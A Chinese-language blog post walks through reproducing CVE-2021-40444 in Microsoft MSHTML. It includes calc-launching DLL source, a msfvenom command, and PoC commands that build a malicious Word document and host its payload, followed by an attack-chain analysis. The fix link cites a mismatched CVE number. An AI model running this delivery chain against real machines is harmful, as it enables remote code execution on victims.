CVE-2021-40444:Microsoft MSHTML RCE

2022-04-06 19:40:37 浏览数 (1)

0x01 简介

Microsoft报告了一个名为 CVE-2021-40444 的0day漏洞,利用该漏洞可以在受害者的计算机上远程执行恶意代码。黑客可在利用该漏洞攻击 Microsoft Office 用户拿下主机。

0x02 漏洞概述

编号:CVE-2021-40444

该漏洞存在于 Internet Explorer 引擎 MSHTML 中。尽管现在很少有人使用 IE(即使是 Microsoft 强烈建议改用其更新的浏览器 Edge),但旧浏览器仍然是现代操作系统的一个组件,其他一些程序使用其引擎来处理 Web 内容。特别是 Word 和 PowerPoint 等 Microsoft Office 应用程序依赖于它。

0x03 影响版本

包括Windows 7/8/8.1/10

Windows Server 2008/2008R2/2012/2012R2/2016/2019/2022等各个主流版本

0x04 漏洞复现

目标靶机office word开启开发工具

需要生成一个恶意的DLL文件,通过msf或者自身编译都行

1)自身编译:

代码语言:javascript复制
//calc.c
#include <windows.h>
 
void exec(void) {
    system("cmd /c calc");
    return;
}
 
BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason, 
    LPVOID lpReserved )
{
    switch( fdwReason ) 
    { 
        case DLL_PROCESS_ATTACH:
           exec(); 
           break;
 
        case DLL_THREAD_ATTACH:
            break;
 
        case DLL_THREAD_DETACH:
            break;
 
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

编译:

代码语言:javascript复制
i686-w64-mingw32-gcc -shared calc.c -o calc.dll

2)msf直接生成:

代码语言:javascript复制
msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread -f dll>>calc.dll

下载POC代码,到Ubuntu测试服务器上:

代码语言:javascript复制
https://github.com/lockedbyte/CVE-2021-40444

安装环境所需要的依赖

sudo apt-get install lcab

test/calc.dll (dll的绝对路径)

执行命令生成恶意word文档

代码语言:javascript复制
python3 exploit.py generate test/calc.dll http://ip(启动exp机器的ip)

服务端启动HTTP服务

代码语言:javascript复制
python3 exploit.py host 80

目标受害机打开生成的docx时

0x05 漏洞分析

攻击者可以在 Microsoft Office 文档中创建一个恶意的 ActiveX 控件,供 MSHTML 浏览器呈现引擎使用。在准备好嵌入在 MS Office 文档中的恶意 ActiveX 控件后,攻击者必须将恶意文档交付给用户。攻击者大多使用网络钓鱼 (MITRE ATT&CK T1566) 技术将恶意文档作为文档的附件或链接传送。之后,用户必须打开恶意文档才能触发漏洞利用。

例如:

代码语言:javascript复制
1、当用户打开恶意文档(SHA-256:938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52),该.docx下载了一个.html文件(SHA-256:d0fd7acc38b3105facd6995344242f28e45f5384c0fdf2ec93ea24bfbc1dc9e6)
2、下载的 .HTML 文件中包含创建 ActiveX 控件窗口和混淆过的 JavaScript payload。然后,这些 ActiveX 控件去下载一个 .CAB 文件(SHA-256:1fb13a158aff3d258b8f62fe211fabeed03f0763b2acadbccad9e8e39969ea00)
3、CAB 是 Windows 中使用的存档文件格式。然后,payload从 .CAB 文件中提取 .DLL 文件(SHA-256:6eedf45cb91f6762de4e35e36bcb03e5ad60ce9ac5a08caeb7eda035cd74762b)并打开提取的文件
4、实际上,这个文件是一个命令执行或者CS的beacon

0x06 修复方式

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36934

目前微软已经下发补丁,Microsoft Defender 防病毒和 Microsoft Defender for Endpoint 均提供检测和防范已知漏洞的功能,请及时更新检测版本。

代码语言:javascript复制
参考链接:

https://github.com/lockedbyte/CVE-2021-40444

https://blog.csdn.net/weixin_44033675/article/details/120466121

0 人点赞